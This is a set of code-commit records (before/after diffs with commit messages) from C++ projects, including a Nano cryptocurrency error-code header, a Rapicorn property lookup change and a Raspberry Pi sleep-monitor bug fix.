::com::sun::star::uno::Reference<\n            ::com::sun::star::xml::sax::XAttributeList> & xAttrList);\n\n    void ProcessAttribute(\n        enum LineNumberingToken eToken,\n        ::rtl::OUString sValue);\n\n    virtual void CreateAndInsert(sal_Bool bOverwrite);\n\n    virtual SvXMLImportContext *CreateChildContext(\n        sal_uInt16 nPrefix,\n        const ::rtl::OUString& rLocalName,\n        const ::com::sun::star::uno::Reference<\n            ::com::sun::star::xml::sax::XAttributeList> & xAttrList );\n\n    void ProcessAttribute(\n        const ::rtl::OUString sLocalName,\n        const ::rtl::OUString sValue);\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <rai\/lib\/expected.hpp>\n#include <string>\n#include <system_error>\n#include <type_traits>\n\nusing tl::expected;\nusing tl::make_unexpected;\n\nnamespace nano\n{\n\/** Returns the error code if non-zero, otherwise the value *\/\ntemplate <class T>\nauto either (T && value, std::error_code ec) -> expected<typename std::remove_reference<T>::type, std::error_code>\n{\n\tif (ec)\n\t{\n\t\treturn make_unexpected (ec);\n\t}\n\telse\n\t{\n\t\treturn std::move (value);\n\t}\n}\n\n\/** Common error codes *\/\nenum class error_common\n{\n\tgeneric = 1,\n\taccount_not_found,\n\taccount_not_found_wallet,\n\taccount_exists,\n\tbad_account_number,\n\tbad_private_key,\n\tbad_public_key,\n\tbad_seed,\n\tbad_threshold,\n\tbad_wallet_number,\n\tbad_work_format,\n\tinvalid_amount,\n\tinvalid_amount_big,\n\tinvalid_count,\n\tinvalid_index,\n\tinvalid_ip_address,\n\tinvalid_port,\n\tinvalid_work,\n\tinsufficient_balance,\n\tnumeric_conversion,\n\twallet_lmdb_max_dbs,\n\twallet_locked,\n\twallet_not_found\n};\n\n\/** Block related errors *\/\nenum class error_blocks\n{\n\tgeneric = 1,\n\tbad_hash_number,\n\tinvalid_block,\n\tinvalid_block_hash,\n\tinvalid_type,\n\tnot_found,\n\twork_low\n};\n\n\/** RPC related errors *\/\nenum class error_rpc\n{\n\tgeneric = 1,\n\tbad_destination,\n\tbad_key,\n\tbad_link,\n\tbad_previous,\n\tbad_representative_number,\n\tbad_source,\n\tbad_timeout,\n\tblock_create_balance_mismatch,\n\tblock_create_key_required,\n\tblock_create_public_key_mismatch,\n\tblock_create_requirements_state,\n\tblock_create_requirements_open,\n\tblock_create_requirements_receive,\n\tblock_create_requirements_change,\n\tblock_create_requirements_send,\n\tinvalid_balance,\n\tinvalid_destinations,\n\tinvalid_offset,\n\tinvalid_missing_type,\n\tinvalid_sources,\n\tpayment_account_balance,\n\tpayment_unable_create_account,\n\trpc_control_disabled,\n\tsource_not_found\n};\n\n\n\/** process_result related errors *\/\nenum class error_process\n{\n\tgeneric = 1,\n\tbad_signature, \/\/ Signature was bad, forged or transmission error\n\told, \/\/ Already seen and was valid\n\tnegative_spend, \/\/ Malicious attempt to spend a negative amount\n\tfork, \/\/ Malicious fork based on previous\n\tunreceivable, \/\/ Source block doesn't exist or has already been received\n\tgap_previous, \/\/ Block marked as previous is unknown\n\tgap_source, \/\/ Block marked as source is unknown\n\topened_burn_account, \/\/ The impossible happened, someone found the private key associated with the public key '0'.\n\tbalance_mismatch, \/\/ Balance and amount delta don't match\n\tblock_position, \/\/ This block cannot follow the previous block\n\tother\n};\n}\n\n\/\/ Convenience macro to implement the standard boilerplate for using std::error_code with enums\n\/\/ Use this at the end of any header defining one or more error code enums.\n#define REGISTER_ERROR_CODES(namespace_name, enum_type)                                                                      \\\n\tnamespace namespace_name                                                                                                 \\\n\t{                                                                                                                        \\\n\t\tstatic_assert (static_cast<int> (enum_type::generic) > 0, \"The first error enum must be generic = 1\");               \\\n\t\tclass enum_type##_messages : public std::error_category                                                              \\\n\t\t{                                                                                                                    \\\n\t\tpublic:                                                                                                              \\\n\t\t\tconst char * name () const noexcept override                                                                     \\\n\t\t\t{                                                                                                                \\\n\t\t\t\treturn #enum_type;                                                                                           \\\n\t\t\t}                                                                                                                \\\n                                                                                                                             \\\n\t\t\tstd::string message (int ev) const override;                                                                     \\\n\t\t};                                                                                                                   \\\n                                                                                                                             \\\n\t\tinline const std::error_category & enum_type##_category ()                                                           \\\n\t\t{                                                                                                                    \\\n\t\t\tstatic enum_type##_messages instance;                                                                            \\\n\t\t\treturn instance;                                                                                                 \\\n\t\t}                                                                                                                    \\\n                                                                                                                             \\\n\t\tinline std::error_code make_error_code (::namespace_name::enum_type err)                                             \\\n\t\t{                                                                                                                    \\\n\t\t\treturn { static_cast<int> (err), enum_type##_category () };                                                      \\\n\t\t}                                                                                                                    \\\n                                                                                                                             \\\n\t\tinline auto unexpected_error (::namespace_name::enum_type err) -> decltype (make_unexpected (make_error_code (err))) \\\n\t\t{                                                                                                                    \\\n\t\t\treturn make_unexpected (make_error_code (err));                                                                  \\\n\t\t}                                                                                                                    \\\n\t}                                                                                                                        \\\n\tnamespace std                                                                                                            \\\n\t{                                                                                                                        \\\n\t\ttemplate <>                                                                                                          \\\n\t\tstruct is_error_code_enum<::namespace_name::enum_type> : std::true_type                                              \\\n\t\t{                                                                                                                    \\\n\t\t};                                                                                                                   \\\n\t}\n\nREGISTER_ERROR_CODES (nano, error_common);\nREGISTER_ERROR_CODES (nano, error_blocks);\nREGISTER_ERROR_CODES (nano, error_rpc);\nREGISTER_ERROR_CODES (nano, error_process);\n<commit_msg>Clang formatting<commit_after>#pragma once\n\n#include <rai\/lib\/expected.hpp>\n#include <string>\n#include <system_error>\n#include <type_traits>\n\nusing tl::expected;\nusing tl::make_unexpected;\n\nnamespace nano\n{\n\/** Returns the error code if non-zero, otherwise the value *\/\ntemplate <class T>\nauto either (T && value, std::error_code ec) -> expected<typename std::remove_reference<T>::type, std::error_code>\n{\n\tif (ec)\n\t{\n\t\treturn make_unexpected (ec);\n\t}\n\telse\n\t{\n\t\treturn std::move (value);\n\t}\n}\n\n\/** Common error codes *\/\nenum class error_common\n{\n\tgeneric = 1,\n\taccount_not_found,\n\taccount_not_found_wallet,\n\taccount_exists,\n\tbad_account_number,\n\tbad_private_key,\n\tbad_public_key,\n\tbad_seed,\n\tbad_threshold,\n\tbad_wallet_number,\n\tbad_work_format,\n\tinvalid_amount,\n\tinvalid_amount_big,\n\tinvalid_count,\n\tinvalid_index,\n\tinvalid_ip_address,\n\tinvalid_port,\n\tinvalid_work,\n\tinsufficient_balance,\n\tnumeric_conversion,\n\twallet_lmdb_max_dbs,\n\twallet_locked,\n\twallet_not_found\n};\n\n\/** Block related errors *\/\nenum class error_blocks\n{\n\tgeneric = 1,\n\tbad_hash_number,\n\tinvalid_block,\n\tinvalid_block_hash,\n\tinvalid_type,\n\tnot_found,\n\twork_low\n};\n\n\/** RPC related errors *\/\nenum class error_rpc\n{\n\tgeneric = 1,\n\tbad_destination,\n\tbad_key,\n\tbad_link,\n\tbad_previous,\n\tbad_representative_number,\n\tbad_source,\n\tbad_timeout,\n\tblock_create_balance_mismatch,\n\tblock_create_key_required,\n\tblock_create_public_key_mismatch,\n\tblock_create_requirements_state,\n\tblock_create_requirements_open,\n\tblock_create_requirements_receive,\n\tblock_create_requirements_change,\n\tblock_create_requirements_send,\n\tinvalid_balance,\n\tinvalid_destinations,\n\tinvalid_offset,\n\tinvalid_missing_type,\n\tinvalid_sources,\n\tpayment_account_balance,\n\tpayment_unable_create_account,\n\trpc_control_disabled,\n\tsource_not_found\n};\n\n\/** process_result related errors *\/\nenum class error_process\n{\n\tgeneric = 1,\n\tbad_signature, \/\/ Signature was bad, forged or transmission error\n\told, \/\/ Already seen and was valid\n\tnegative_spend, \/\/ Malicious attempt to spend a negative amount\n\tfork, \/\/ Malicious fork based on previous\n\tunreceivable, \/\/ Source block doesn't exist or has already been received\n\tgap_previous, \/\/ Block marked as previous is unknown\n\tgap_source, \/\/ Block marked as source is unknown\n\topened_burn_account, \/\/ The impossible happened, someone found the private key associated with the public key '0'.\n\tbalance_mismatch, \/\/ Balance and amount delta don't match\n\tblock_position, \/\/ This block cannot follow the previous block\n\tother\n};\n}\n\n\/\/ Convenience macro to implement the standard boilerplate for using std::error_code with enums\n\/\/ Use this at the end of any header defining one or more error code enums.\n#define REGISTER_ERROR_CODES(namespace_name, enum_type)                                                                      \\\n\tnamespace namespace_name                                                                                                 \\\n\t{                                                                                                                        \\\n\t\tstatic_assert (static_cast<int> (enum_type::generic) > 0, \"The first error enum must be generic = 1\");               \\\n\t\tclass enum_type##_messages : public std::error_category                                                              \\\n\t\t{                                                                                                                    \\\n\t\tpublic:                                                                                                              \\\n\t\t\tconst char * name () const noexcept override                                                                     \\\n\t\t\t{                                                                                                                \\\n\t\t\t\treturn #enum_type;                                                                                           \\\n\t\t\t}                                                                                                                \\\n                                                                                                                             \\\n\t\t\tstd::string message (int ev) const override;                                                                     \\\n\t\t};                                                                                                                   \\\n                                                                                                                             \\\n\t\tinline const std::error_category & enum_type##_category ()                                                           \\\n\t\t{                                                                                                                    \\\n\t\t\tstatic enum_type##_messages instance;                                                                            \\\n\t\t\treturn instance;                                                                                                 \\\n\t\t}                                                                                                                    \\\n                                                                                                                             \\\n\t\tinline std::error_code make_error_code (::namespace_name::enum_type err)                                             \\\n\t\t{                                                                                                                    \\\n\t\t\treturn { static_cast<int> (err), enum_type##_category () };                                                      \\\n\t\t}                                                                                                                    \\\n                                                                                                                             \\\n\t\tinline auto unexpected_error (::namespace_name::enum_type err) -> decltype (make_unexpected (make_error_code (err))) \\\n\t\t{                                                                                                                    \\\n\t\t\treturn make_unexpected (make_error_code (err));                                                                  \\\n\t\t}                                                                                                                    \\\n\t}                                                                                                                        \\\n\tnamespace std                                                                                                            \\\n\t{                                                                                                                        \\\n\t\ttemplate <>                                                                                                          \\\n\t\tstruct is_error_code_enum<::namespace_name::enum_type> : std::true_type                                              \\\n\t\t{                                                                                                                    \\\n\t\t};                                                                                                                   \\\n\t}\n\nREGISTER_ERROR_CODES (nano, error_common);\nREGISTER_ERROR_CODES (nano, error_blocks);\nREGISTER_ERROR_CODES (nano, error_rpc);\nREGISTER_ERROR_CODES (nano, error_process);\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n\nint main(void)\n{\n  return 0;\n}\n<commit_msg>Delete mumford.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>remotebridges: Use appropriate OUString functions on string constants<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Licensed GNU LGPL v3 or later: http:\/\/www.gnu.org\/licenses\/lgpl.html\n#include \"aidaprops.hh\"\n#include \"thread.hh\"\n#include <set>\n#include <cstring>\n#include <malloc.h>\n\nnamespace Rapicorn { namespace Aida {\n\nstatic inline String\npropcanonify (String s)\n{\n  for (uint i = 0; i < s.size(); i++)\n    if (!((s[i] >= 'A' && s[i] <= 'Z') ||\n          (s[i] >= 'a' && s[i] <= 'z') ||\n          (s[i] >= '0' && s[i] <= '9') ||\n          s[i] == '_'))\n      s[i] = '_';\n  return s;\n}\n\n\/\/ == PropertyHostInterface ==\nconst PropertyList&\nPropertyHostInterface::_property_list ()\n{\n  static const PropertyList empty_property_list;\n  return empty_property_list;\n}\n\nstatic Mutex plist_map_mutex;\n\nProperty*\nPropertyHostInterface::_property_lookup (const String &property_name)\n{\n  \/\/ provide PropertyMaps globally\n  typedef std::map<const String, Property*> PropertyMap;\n  static std::map<const PropertyList*,PropertyMap*> *plist_map = NULL;\n  do_once {\n    static uint64 space[sizeof (*plist_map) \/ sizeof (uint64)];\n    plist_map = new (space) std::map<const PropertyList*,PropertyMap*>();\n  }\n  \/\/ find or construct property map\n  const PropertyList &plist = _property_list();\n  ScopedLock<Mutex> plist_map_locker (plist_map_mutex);\n  PropertyMap *pmap = (*plist_map)[&plist];\n  if (!pmap)\n    {\n      pmap = new PropertyMap;\n      size_t n_properties = 0;\n      Property **properties = plist.list_properties (&n_properties);\n      for (uint i = 0; i < n_properties; i++)\n        {\n          Property *prop = properties[i];\n          if (prop)\n            (*pmap)[prop->ident] = prop;\n        }\n      (*plist_map)[&plist] = pmap;\n    }\n  plist_map_locker.unlock();\n  PropertyMap::iterator it = pmap->find (property_name);\n  if (it == pmap->end())        \/\/ try canonicalized\n    it = pmap->find (string_substitute_char (property_name, '-', '_'));\n  if (it != pmap->end())\n    return it->second;\n  else\n    return NULL;\n}\n\nbool\nPropertyHostInterface::_property_set (const String &property_name, const String &value)\n{\n  Property *prop = _property_lookup (property_name);\n  if (!prop)\n    return false;\n  prop->set_value (*this, value);\n  return true;\n}\n\nString\nPropertyHostInterface::_property_get (const String &property_name)\n{\n  Property *prop = _property_lookup (property_name);\n  if (!prop)\n    return \"\"; \/\/ be more verbose here?\n  return prop->get_value (*this);\n}\n\n\/\/ == PropertyList ==\nProperty::Property (const char *cident, const char *clabel, const char *cblurb, const char *chints) :\n  ident (cident),\n  label (clabel ? strdup (clabel) : NULL),\n  blurb (cblurb ? strdup (cblurb) : NULL),\n  hints (chints ? strdup (chints) : NULL)\n{\n  assert (ident != NULL);\n  ident = strdup (propcanonify (ident).c_str());\n}\n\nProperty::~Property()\n{\n  if (ident)\n    free (const_cast<char*> (ident));\n  if (label)\n    free (label);\n  if (blurb)\n    free (blurb);\n  if (hints)\n    free (hints);\n}\n\nbool\nProperty::readable () const\n{\n  if (hints)\n    return string_option_check (hints, \"rw\") || string_option_check (hints, \"ro\");\n  return false;\n}\n\nbool\nProperty::writable () const\n{\n  if (hints)\n    return string_option_check (hints, \"rw\") || string_option_check (hints, \"wo\");\n  return false;\n}\n\n\/\/ == PropertyList ==\nvoid\nPropertyList::append_properties (size_t n_props, Property **props, const PropertyList &c0, const PropertyList &c1,\n                                 const PropertyList &c2, const PropertyList &c3, const PropertyList &c4, const PropertyList &c5,\n                                 const PropertyList &c6, const PropertyList &c7, const PropertyList &c8, const PropertyList &c9)\n{\n  std::set<Property*> pset;\n  std::vector<Property*> parray;\n  for (size_t i = 0; i < m_n_properties; i++)\n    if (pset.find (m_properties[i]) == pset.end())\n      {\n        pset.insert (m_properties[i]);\n        parray.push_back (m_properties[i]);\n      }\n  for (size_t i = 0; i < n_props; i++)\n    if (pset.find (props[i]) == pset.end())\n      {\n        pset.insert (props[i]);\n        parray.push_back (props[i]);\n      }\n  const PropertyList *const chains[] = { &c0, &c1, &c2, &c3, &c4, &c5, &c6, &c7, &c8, &c9 };\n  for (size_t j = 0; j < sizeof (chains) \/ sizeof (chains[0]); j++)\n    for (size_t i = 0; i < chains[j]->m_n_properties; i++)\n      if (pset.find (chains[j]->m_properties[i]) == pset.end())\n        {\n          pset.insert (chains[j]->m_properties[i]);\n          parray.push_back (chains[j]->m_properties[i]);\n        }\n  delete[] m_properties;\n  m_n_properties = parray.size();\n  m_properties = new Property* [m_n_properties];\n  for (size_t i = 0; i < m_n_properties; i++)\n    m_properties[i] = parray[i];\n}\n\nProperty**\nPropertyList::list_properties (size_t *n_properties) const\n{\n  if (n_properties)\n    {\n      *n_properties = m_n_properties;\n      return m_properties;\n    }\n  else\n    return NULL;\n}\n\nPropertyList::~PropertyList ()\n{\n}\n\n} } \/\/ Rapicorn::Aida\n<commit_msg>RCORE: use a hash map for property lookups to reduce stress on strcmp<commit_after>\/\/ Licensed GNU LGPL v3 or later: http:\/\/www.gnu.org\/licenses\/lgpl.html\n#include \"aidaprops.hh\"\n#include \"thread.hh\"\n#include <set>\n#include <unordered_map>\n#include <cstring>\n#include <malloc.h>\n\nnamespace Rapicorn { namespace Aida {\n\nstatic inline String\npropcanonify (String s)\n{\n  for (uint i = 0; i < s.size(); i++)\n    if (!((s[i] >= 'A' && s[i] <= 'Z') ||\n          (s[i] >= 'a' && s[i] <= 'z') ||\n          (s[i] >= '0' && s[i] <= '9') ||\n          s[i] == '_'))\n      s[i] = '_';\n  return s;\n}\n\n\/\/ == PropertyHostInterface ==\nconst PropertyList&\nPropertyHostInterface::_property_list ()\n{\n  static const PropertyList empty_property_list;\n  return empty_property_list;\n}\n\nstatic Mutex plist_map_mutex;\n\nProperty*\nPropertyHostInterface::_property_lookup (const String &property_name)\n{\n  \/\/ provide PropertyMaps globally\n  typedef std::unordered_map<String, Property*> PropertyMap;\n  static std::map<const PropertyList*,PropertyMap*> *plist_map = NULL;\n  do_once {\n    static uint64 space[sizeof (*plist_map) \/ sizeof (uint64)];\n    plist_map = new (space) std::map<const PropertyList*,PropertyMap*>();\n  }\n  \/\/ find or construct property map\n  const PropertyList &plist = _property_list();\n  ScopedLock<Mutex> plist_map_locker (plist_map_mutex);\n  PropertyMap *pmap = (*plist_map)[&plist];\n  if (!pmap)\n    {\n      pmap = new PropertyMap;\n      size_t n_properties = 0;\n      Property **properties = plist.list_properties (&n_properties);\n      for (uint i = 0; i < n_properties; i++)\n        {\n          Property *prop = properties[i];\n          if (prop)\n            (*pmap)[prop->ident] = prop;\n        }\n      (*plist_map)[&plist] = pmap;\n    }\n  plist_map_locker.unlock();\n  PropertyMap::iterator it = pmap->find (property_name);\n  if (it == pmap->end())        \/\/ try canonicalized\n    it = pmap->find (string_substitute_char (property_name, '-', '_'));\n  if (it != pmap->end())\n    return it->second;\n  else\n    return NULL;\n}\n\nbool\nPropertyHostInterface::_property_set (const String &property_name, const String &value)\n{\n  Property *prop = _property_lookup (property_name);\n  if (!prop)\n    return false;\n  prop->set_value (*this, value);\n  return true;\n}\n\nString\nPropertyHostInterface::_property_get (const String &property_name)\n{\n  Property *prop = _property_lookup (property_name);\n  if (!prop)\n    return \"\"; \/\/ be more verbose here?\n  return prop->get_value (*this);\n}\n\n\/\/ == PropertyList ==\nProperty::Property (const char *cident, const char *clabel, const char *cblurb, const char *chints) :\n  ident (cident),\n  label (clabel ? strdup (clabel) : NULL),\n  blurb (cblurb ? strdup (cblurb) : NULL),\n  hints (chints ? strdup (chints) : NULL)\n{\n  assert (ident != NULL);\n  ident = strdup (propcanonify (ident).c_str());\n}\n\nProperty::~Property()\n{\n  if (ident)\n    free (const_cast<char*> (ident));\n  if (label)\n    free (label);\n  if (blurb)\n    free (blurb);\n  if (hints)\n    free (hints);\n}\n\nbool\nProperty::readable () const\n{\n  if (hints)\n    return string_option_check (hints, \"rw\") || string_option_check (hints, \"ro\");\n  return false;\n}\n\nbool\nProperty::writable () const\n{\n  if (hints)\n    return string_option_check (hints, \"rw\") || string_option_check (hints, \"wo\");\n  return false;\n}\n\n\/\/ == PropertyList ==\nvoid\nPropertyList::append_properties (size_t n_props, Property **props, const PropertyList &c0, const PropertyList &c1,\n                                 const PropertyList &c2, const PropertyList &c3, const PropertyList &c4, const PropertyList &c5,\n                                 const PropertyList &c6, const PropertyList &c7, const PropertyList &c8, const PropertyList &c9)\n{\n  std::set<Property*> pset;\n  std::vector<Property*> parray;\n  for (size_t i = 0; i < m_n_properties; i++)\n    if (pset.find (m_properties[i]) == pset.end())\n      {\n        pset.insert (m_properties[i]);\n        parray.push_back (m_properties[i]);\n      }\n  for (size_t i = 0; i < n_props; i++)\n    if (pset.find (props[i]) == pset.end())\n      {\n        pset.insert (props[i]);\n        parray.push_back (props[i]);\n      }\n  const PropertyList *const chains[] = { &c0, &c1, &c2, &c3, &c4, &c5, &c6, &c7, &c8, &c9 };\n  for (size_t j = 0; j < sizeof (chains) \/ sizeof (chains[0]); j++)\n    for (size_t i = 0; i < chains[j]->m_n_properties; i++)\n      if (pset.find (chains[j]->m_properties[i]) == pset.end())\n        {\n          pset.insert (chains[j]->m_properties[i]);\n          parray.push_back (chains[j]->m_properties[i]);\n        }\n  delete[] m_properties;\n  m_n_properties = parray.size();\n  m_properties = new Property* [m_n_properties];\n  for (size_t i = 0; i < m_n_properties; i++)\n    m_properties[i] = parray[i];\n}\n\nProperty**\nPropertyList::list_properties (size_t *n_properties) const\n{\n  if (n_properties)\n    {\n      *n_properties = m_n_properties;\n      return m_properties;\n    }\n  else\n    return NULL;\n}\n\nPropertyList::~PropertyList ()\n{\n}\n\n} } \/\/ Rapicorn::Aida\n<|endoftext|>"}
{"text":"<commit_before>\/\/g++ *.cpp -lpthread -lwiringPi -std=c++11\r\n\/\/LATER MET GUI MAKEFILE <sudo make>\r\n\r\n#include \"I22cCom.h\"\r\n\/\/ Sensors -------------------\r\n#include \"Sensor.h\"\r\n#include \"Log.h\"\r\n#include \"Camera.h\"\r\n#include \"Light.h\"\r\n#include \"MotionSensor.h\"\r\n#include \"PressureSensor.h\"\r\n\/\/ GUI includes\r\n#include <QApplication>\r\n#include \"dialog.h\"\r\n#include \"screenafterlogin.h\"\r\n#include \"temperaturescreen.h\"\r\n#include \"temperatuur.h\"\r\n\/\/ ----------\r\n\/\/#define I2CLOC \"\/dev\/i2c-1\"\/\/ <-- this is the real I2C device you need with the scale model\r\n#define I2CLOC \"\/dev\/simudrv\"\r\n#define LOG \"Slaaplog.txt\"\r\n\r\n#include <vector>\r\n#include <iostream>\r\n#include <wiringPi.h>  \/\/compile with -lwiringPi\r\n\r\nusing namespace std;\r\n\r\nvector<Sensor*> motionSensors;    \/\/Vector of the sensors\r\nvector<Light*> lights;      \/\/Vector of the lights\r\nvector<int> active;\r\nPressureSensor* pressureSensor;\r\nCamera* cam;                \/\/Pointer to the camera\r\nLog* log;\r\n\r\nint pressureValue;\r\nbool asleep = false;\r\nbool day = true;\r\nbool anomaly = false;\r\nint temperature = 20;\r\nlong sleepTimer = 0;\r\n\r\n\r\nvoid checkSleep();\r\nvoid updateSensors();\r\nvoid checkCam();\r\nvoid sendAlert();\r\nvoid init();\r\n\r\n\r\nint main(int argc, char* argv[]) {\t\r\n\t\r\n\tQApplication a(argc, argv);\r\n\tDialog w;\r\n   \tw.show();\r\n\t\r\n  init();\r\n  while(1) {\r\n\ta.processEvents();\r\n        updateSensors();\r\n        checkSleep();\r\n        checkCam();\r\n        checkTemperature();\r\n  }\r\n}\r\n\r\n\/*Init for the main*\/\r\nvoid init() {\r\n\t\/\/GUI\r\n    \/\/thread GUIloop(GUImain);\r\n\t\/\/GUIloop.join();\r\n    \/\/I2C\r\n\twiringPiSetupGpio();\r\n\tI2CCom i2c(I2CLOC);     \/\/the i2c to communicate with sensor\r\n\t\r\n    \/\/Create sensorobjects\r\n    Light x(22);\r\n\tMotionSensor s1(0xFC,i2c);\r\n\tMotionSensor s2(0xBC,i2c);\r\n\tMotionSensor s3(0xEC,i2c);\r\n\tPressureSensor s4(0x06, i2c);\r\n\tLog l1(LOG);\r\n\tCamera c1;\r\n    \r\n    \/\/Create pointers to the sensors\r\n\tcam = &c1;\r\n\tlog = &l1;\r\n\tpressureSensor = &s4;\r\n\tmotionSensors.push_back(&s1);\r\n\tmotionSensors.push_back(&s2);\r\n\tmotionSensors.push_back(&s3);\r\n\tlights.push_back(&x);\r\n\r\n    active.resize(motionSensors.size());\r\n}\r\n\/*Updates sensors*\/\r\nvoid updateSensors() {\r\n    \/\/update van elke sensor de value en de active\r\n    bool alert = true;\r\n    for(int i = 0; i<motionSensors.size();i++) {\r\n        if(motionSensors[i]->check()) {\r\n            \/\/active[i]=1;\r\n            alert = false;\r\n\t\tcout <<\"halleyula\" <<endl;\r\n        } else{\r\n            \/\/active[i]=0;\r\n        }\r\n    }\r\n    if (s4->check()) {\r\n        asleep = true;\r\n    }\r\n    if(alert & !asleep) {\r\n        sendAlert();\r\n    }\r\n    pressureValue = s4->getValue();\r\n}\r\n\r\n\/*Send Alarm*\/\r\nvoid sendAlert(){\r\n    cout<<\"Alert\"<<endl;\r\n}\r\n\r\n\/*Sets the camera*\/\r\nvoid checkCam(){\r\n    if(day) {\r\n        cam->setCamera(true);\r\n    } else if(anomaly) {\r\n        cam->setCamera(true);\r\n    } else {\r\n        cam->setCamera(false);\r\n    }\r\n}\r\n\r\n\/*Checks if there is an anomaly, otherwise checks if Tim's asleep*\/\r\nvoid checkSleep(){\r\n    if(pressureValue < 20) {\r\n        asleep = false;\r\n        sleepTimer = 0;\r\n    } else if(pressureValue > 20 && pressureValue < 150) {\r\n        anomaly = true;\r\n        sleepTimer = 0;\r\n    } else if(pressureValue > 150 && pressureValue < 200) {\r\n        sleepTimer = 0;\r\n        \/\/ Changing positions while asleep\r\n        \/\/Do nothing, maybe verify if person really is sleeping\r\n    } else if(pressureValue > 200 && sleepTimer = 0) {\r\n        sleepTimer = time(0) + 900;\r\n    } else if(pressureValue >200 && sleepTimer != 0) {\r\n        if( time(0) >= sleepTimer) {\r\n            asleep = true\r\n        }\r\n    }\r\n    \r\n}\r\n\r\n\/*Checks the set temperature from the gui*\/\r\ncheckTemperature() {\r\n    temperature = IngesteldeTemperatuur;\r\n}\r\n\r\n<commit_msg>Bug fix.<commit_after>\/\/g++ *.cpp -lpthread -lwiringPi -std=c++11\r\n\/\/LATER MET GUI MAKEFILE <sudo make>\r\n\r\n#include \"I22cCom.h\"\r\n\/\/ Sensors -------------------\r\n#include \"Sensor.h\"\r\n#include \"Log.h\"\r\n#include \"Camera.h\"\r\n#include \"Light.h\"\r\n#include \"MotionSensor.h\"\r\n#include \"PressureSensor.h\"\r\n\/\/ GUI includes\r\n#include <QApplication>\r\n#include \"dialog.h\"\r\n#include \"screenafterlogin.h\"\r\n#include \"temperaturescreen.h\"\r\n#include \"temperatuur.h\"\r\n\/\/ ----------\r\n\/\/#define I2CLOC \"\/dev\/i2c-1\"\/\/ <-- this is the real I2C device you need with the scale model\r\n#define I2CLOC \"\/dev\/simudrv\"\r\n#define LOG \"Slaaplog.txt\"\r\n\r\n#include <vector>\r\n#include <iostream>\r\n#include <wiringPi.h>  \/\/compile with -lwiringPi\r\n\r\nusing namespace std;\r\n\r\nvector<Sensor*> motionSensors;    \/\/Vector of the sensors\r\nvector<Light*> lights;      \/\/Vector of the lights\r\nvector<int> active;\r\nPressureSensor* pressureSensor;\r\nCamera* cam;                \/\/Pointer to the camera\r\n\/\/Log* log;\r\n\r\nint pressureValue;\r\nbool asleep = false;\r\nbool day = true;\r\nbool anomaly = false;\r\nint temperature = 20;\r\nint IngesteldeTemperatuur = 20;\r\nlong sleepTimer = 0;\r\n\r\n\r\nvoid checkSleep();\r\nvoid updateSensors();\r\nvoid checkCam();\r\nvoid sendAlert();\r\nvoid init();\r\n\r\n\r\nint main(int argc, char* argv[]) {\t\r\n\t\r\n\tQApplication a(argc, argv);\r\n\tDialog w;\r\n   \tw.show();\r\n\t\r\n  init();\r\n  while(1) {\r\n\ta.processEvents();\r\n        updateSensors();\r\n        checkSleep();\r\n        checkCam();\r\n        checkTemperature();\r\n  }\r\n}\r\n\r\n\/*Init for the main*\/\r\nvoid init() {\r\n\t\/\/GUI\r\n    \/\/thread GUIloop(GUImain);\r\n\t\/\/GUIloop.join();\r\n    \/\/I2C\r\n\twiringPiSetupGpio();\r\n\tI2CCom i2c(I2CLOC);     \/\/the i2c to communicate with sensor\r\n\t\r\n    \/\/Create sensorobjects\r\n    Light x(22);\r\n\tMotionSensor s1(0xFC,i2c);\r\n\tMotionSensor s2(0xBC,i2c);\r\n\tMotionSensor s3(0xEC,i2c);\r\n\tPressureSensor s4(0x06, i2c);\r\n\t\/\/Log l1(LOG);\r\n\tCamera c1;\r\n    \r\n    \/\/Create pointers to the sensors\r\n\tcam = &c1;\r\n\t\/\/log = &l1;\r\n\tpressureSensor = &s4;\r\n\tmotionSensors.push_back(&s1);\r\n\tmotionSensors.push_back(&s2);\r\n\tmotionSensors.push_back(&s3);\r\n\tlights.push_back(&x);\r\n\r\n    active.resize(motionSensors.size());\r\n}\r\n\/*Updates sensors*\/\r\nvoid updateSensors() {\r\n    \/\/update van elke sensor de value en de active\r\n    bool alert = true;\r\n    for(unsigned int i = 0; i<motionSensors.size(); ++i) {\r\n        if(motionSensors[i]->check()) {\r\n            \/\/active[i]=1;\r\n            alert = false;\r\n        } else{\r\n            \/\/active[i]=0;\r\n        }\r\n    }\r\n    if (pressureSensor->check()) {\r\n        asleep = true;\r\n    }\r\n    if(alert & !asleep) {\r\n        sendAlert();\r\n    }\r\n    pressureValue = pressureSensor->getValue();\r\n}\r\n\r\n\/*Send Alarm*\/\r\nvoid sendAlert(){\r\n    cout<<\"Alert\"<<endl;\r\n}\r\n\r\n\/*Sets the camera*\/\r\nvoid checkCam(){\r\n    if(day) {\r\n        cam->setCamera(true);\r\n    } else if(anomaly) {\r\n        cam->setCamera(true);\r\n    } else {\r\n        cam->setCamera(false);\r\n    }\r\n}\r\n\r\n\/*Checks if there is an anomaly, otherwise checks if Tim's asleep*\/\r\nvoid checkSleep(){\r\n    if(pressureValue < 20) {\r\n        asleep = false;\r\n        sleepTimer = 0;\r\n    } else if(pressureValue > 20 && pressureValue < 150) {\r\n        anomaly = true;\r\n        sleepTimer = 0;\r\n    } else if(pressureValue > 150 && pressureValue < 200) {\r\n        sleepTimer = 0;\r\n        \/\/ Changing positions while asleep\r\n        \/\/Do nothing, maybe verify if person really is sleeping\r\n    } else if(pressureValue > 200 && sleepTimer == 0) {\r\n        sleepTimer = time(0) + 900;\r\n    } else if(pressureValue >200 && sleepTimer != 0) {\r\n        if( time(0) >= sleepTimer) {\r\n            asleep = true;\r\n        }\r\n    }\r\n    \r\n}\r\n\r\n\/*Checks the set temperature from the gui*\/\r\nvoid checkTemperature() {\r\n    temperature = IngesteldeTemperatuur;\r\n}\r\n\r\n<|endoftext|>"}
